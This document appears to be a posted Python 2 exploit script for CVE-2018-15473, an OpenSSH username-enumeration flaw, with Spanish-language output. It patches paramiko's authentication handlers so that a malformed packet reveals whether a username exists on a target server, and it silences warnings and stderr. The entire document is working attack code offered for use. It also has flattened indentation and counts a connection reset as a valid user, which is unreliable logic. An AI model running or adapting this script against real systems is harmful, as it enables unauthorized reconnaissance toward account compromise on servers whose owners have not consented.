–> Root Hub <–

#!/usr/bin/env python2
# -*- coding: utf-8 -*-
# CVE-2018-15473 SSH User Enumeration by Leap Security (@LeapSecurity) https://leapsecurity.io
# Credits: Matthew Daley, Justin Gardner, Lee David Painter
#Edit: by grayhatter
import os
import argparse, logging, paramiko, socket, sys, os
from cryptography.hazmat.backends import default_backend
import sys
import warnings
sys.stderr = open(os.devnull, ‘w’)
warnings.filterwarnings(«ignore»)
warnings.simplefilter(«ignore»)
warnings.filterwarnings(«ignore», category=DeprecationWarning, module=»default_backend»)
# Redirigir las advertencias a /dev/null
warnings.filterwarnings(«ignore»)
os.environ[‘PYTHONWARNINGS’] = «ignore»
class InvalidUsername(Exception):
pass

# malicious function to malform packet
def add_boolean(*args, **kwargs):
pass

# function that’ll be overwritten to malform the packet
old_service_accept = paramiko.auth_handler.AuthHandler._client_handler_table[
paramiko.common.MSG_SERVICE_ACCEPT]

# malicious function to overwrite MSG_SERVICE_ACCEPT handler
def service_accept(*args, **kwargs):
paramiko.message.Message.add_boolean = add_boolean
return old_service_accept(*args, **kwargs)

# call when username was invalid
def invalid_username(*args, **kwargs):
raise InvalidUsername()

# assign functions to respective handlers
paramiko.auth_handler.AuthHandler._client_handler_table[paramiko.common.MSG_SERVICE_ACCEPT] = service_accept
paramiko.auth_handler.AuthHandler._client_handler_table[paramiko.common.MSG_USERAUTH_FAILURE] = invalid_username

# perform authentication with malicious packet and username
def check_user(username):
sock = socket.socket()
try:
sock.connect((args.target, args.port))
warnings.simplefilter(«ignore»)
except socket.error as e:
# If the connection is reset by the peer (server closes the connection)
if e.errno == 104:
# Print the username when the connection is reset by peer
print(«[+] Usuario encontrado: {} «.format(username))
return # Treating connection reset as valid username
else:
print(‘[!] Error de conexión: {}’.format(e))
sys.exit(2)

transport = paramiko.transport.Transport(sock)

try:
transport.start_client()
except paramiko.ssh_exception.SSHException as e:
print(‘[!] Error al negociar el transporte SSH: {}’.format(e))
sys.exit(2)

try:
transport.auth_publickey(username, paramiko.RSAKey.generate(2048))
except InvalidUsername:
print(«[-] {} es un nombre de usuario inválido».format(username))
sys.exit(3)
except paramiko.ssh_exception.AuthenticationException:
print(«[+] {} es un nombre de usuario válido».format(username))
except socket.error as e:
# Connection reset error (which is treated as a valid username)
if e.errno == 104:
print(«[+] Usuario encontrado: {} «.format(username))
else:
print(«[!] Error desconocido: {}».format(e))

# remove paramiko logging
logging.getLogger(‘paramiko.transport’).addHandler(logging.NullHandler())

parser = argparse.ArgumentParser(description=’SSH User Enumeration by Leap Security (@LeapSecurity)’)
parser.add_argument(‘target’, help=»Dirección IP del sistema objetivo»)
parser.add_argument(‘-p’, ‘–port’, default=22, help=»Puerto del servicio SSH»)
parser.add_argument(‘username’, help=»Nombre de usuario a verificar.»)

if len(sys.argv) == 1:
parser.print_help()
sys.exit(1)

args = parser.parse_args()

check_user(args.username)